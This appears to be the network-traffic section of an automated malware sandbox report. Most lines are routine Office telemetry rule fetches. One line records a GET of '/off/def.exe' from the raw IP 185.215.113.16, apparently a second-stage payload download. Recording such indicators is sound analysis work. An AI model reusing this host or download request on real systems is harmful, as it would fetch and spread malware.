Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
